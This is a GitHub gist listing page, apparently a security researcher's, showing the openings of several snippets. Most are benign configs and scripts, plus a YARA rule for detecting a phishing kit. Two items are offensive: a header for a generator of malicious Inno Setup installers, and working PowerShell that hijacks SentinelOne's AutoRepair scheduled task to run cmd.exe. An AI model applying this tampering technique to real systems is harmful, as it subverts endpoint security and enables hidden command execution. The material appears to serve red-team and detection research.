Skip to content

Instantly share code, notes, and snippets.

View keyboardcrunch's full-sized avatar

keyboardcrunch keyboardcrunch

View GitHub Profile
@keyboardcrunch
keyboardcrunch / sekoia_eviltokens.yar
Created April 2, 2026 15:24
Sekoia's EvilTokens Yara
rule phishing_eviltokens_phishing_page {
meta:
malware = "EvilTokens"
description = "Find EvilTokens device code phishing pages based on characteristic strings"
source = "Sekoia.io"
creation_date = "2026-03-05"
modification_date = "2026-03-05"
classification = "TLP:CLEAR"
reference = "https://blog.sekoia.io/new-widespread-eviltokens-kit-device-code-phishing-as-a-service-part-1/"
@keyboardcrunch
keyboardcrunch / SentinelOne_Resources.md
Last active March 17, 2026 06:07
SentinelOne Resources
@keyboardcrunch
keyboardcrunch / GenMaliciousInno.ps1
Last active May 27, 2025 02:01
Generate a malicious Inno Setup script.
<#
.SYNOPSIS
Generates a malicious Inno setup script for executing a commandline.
.DESCRIPTION
This script generates an installer using the Inno Setup Compiler.
It requires certain parameters to be provided for creating the setup package.
.PARAMETER Name
The name of the application being installed (optional).
@keyboardcrunch
keyboardcrunch / s1_ar_tamper.ps1
Created May 15, 2025 16:11
SentinelOne AutoRepair Task Tampering
# Get the task info
$TaskName = $(get-scheduledtask -TaskName AutoRepair* -TaskPath \Sentinel\).TaskName
$settings = $(get-scheduledtask -TaskName $TaskName -TaskPath \Sentinel\).Settings
$action = $(get-scheduledtask -TaskName AutoRepair* -TaskPath \Sentinel\).Actions
# Tweak settings objects
$new_action = New-ScheduledTaskAction -Execute "C:\Windows\System32\cmd.exe" -Argument "/c whoami > C:\Windows\Temp\IAM.txt"
$settings.AllowDemandStart=$true
# Apply changes
@keyboardcrunch
keyboardcrunch / ublock-google-signin.txt
Created April 25, 2025 15:05
uBlock - Disable FF Google Sign-in prompts
# https://support.mozilla.org/en-US/questions/1393427
||id.google.com^
||accounts.google.com/gsi/$3p
||smartlock.google.com^
! Block "Sign in with Google" iframe in top right corner of websites
||accounts.google.com/gsi/iframe
@keyboardcrunch
keyboardcrunch / Headless_xvfb_apps.md
Created January 29, 2023 16:46
Headless xvfb-run Apps

Headless Applications with xvfb and x11vnc

In the code block below we're going to launch two graphical applications on a headless server (no desktop environment) within their own virtual display, then launch an instance of x11vnc server connected to each virtual display. Generally if you have more than one application you might as well run a full desktop environment and vnc server, but this is more fun.

Requirements

  • x11vnc
  • the desktop apps you want (handbrake and firefox used in example)
  • (optional) fluxbox or other minimal DE
@keyboardcrunch
keyboardcrunch / proxy_crazy.conf
Created November 22, 2024 03:53
Nginx wildcard subdomain, map and upstream example
# Setup an "upstream" to allow preferences between local or tailscale endpoints for an Ollama service
# Note: I'm running a similar config on my laptop so I can access services while local or remote but
# use upstream to pick the endpoint to use.
upstream chat {
ip_hash;
server 192.168.1.3:11434;
server 100.44.39.165:11434;
}
# Setup a map to associate our proxy endpoint with the subdomain
@keyboardcrunch
keyboardcrunch / proxy_ollama.conf
Created September 25, 2024 00:29
Nginx proxy Ollama load balancer
# Listen on 11434 and proxy requests to a local Ollama server, either by local network or tailscale.
# ip_hash should maintain sessions while upstream handles one being offline.
# upstream 'load balancing' is used to maintain connectivity while working remote.
upstream ollama {
ip_hash;
server 192.168.1.166:11434;
server 100.94.79.62:11434;
}
@keyboardcrunch
keyboardcrunch / remoteOne.yml
Last active April 30, 2024 01:05
esphome - esp32s3 - 3 button wifi remote
# Device configuration
esphome:
name: "remoteOne"
friendly_name: RemoteOne
esp32:
board: esp32-s3-devkitc-1
framework:
type: arduino
@keyboardcrunch
keyboardcrunch / boxstarter_example.ps1
Last active March 16, 2024 18:07
Boxstarter single file example
$ChocoFile = Join-Path -Path $(Get-Location) -ChildPath "choco_config.txt"
$ChocoFileSettings = @'
# Software
choco install adobereader
choco install googlechrome
choco install firefox
choco install 7zip.install
# runtimes
choco install adoptopenjdk12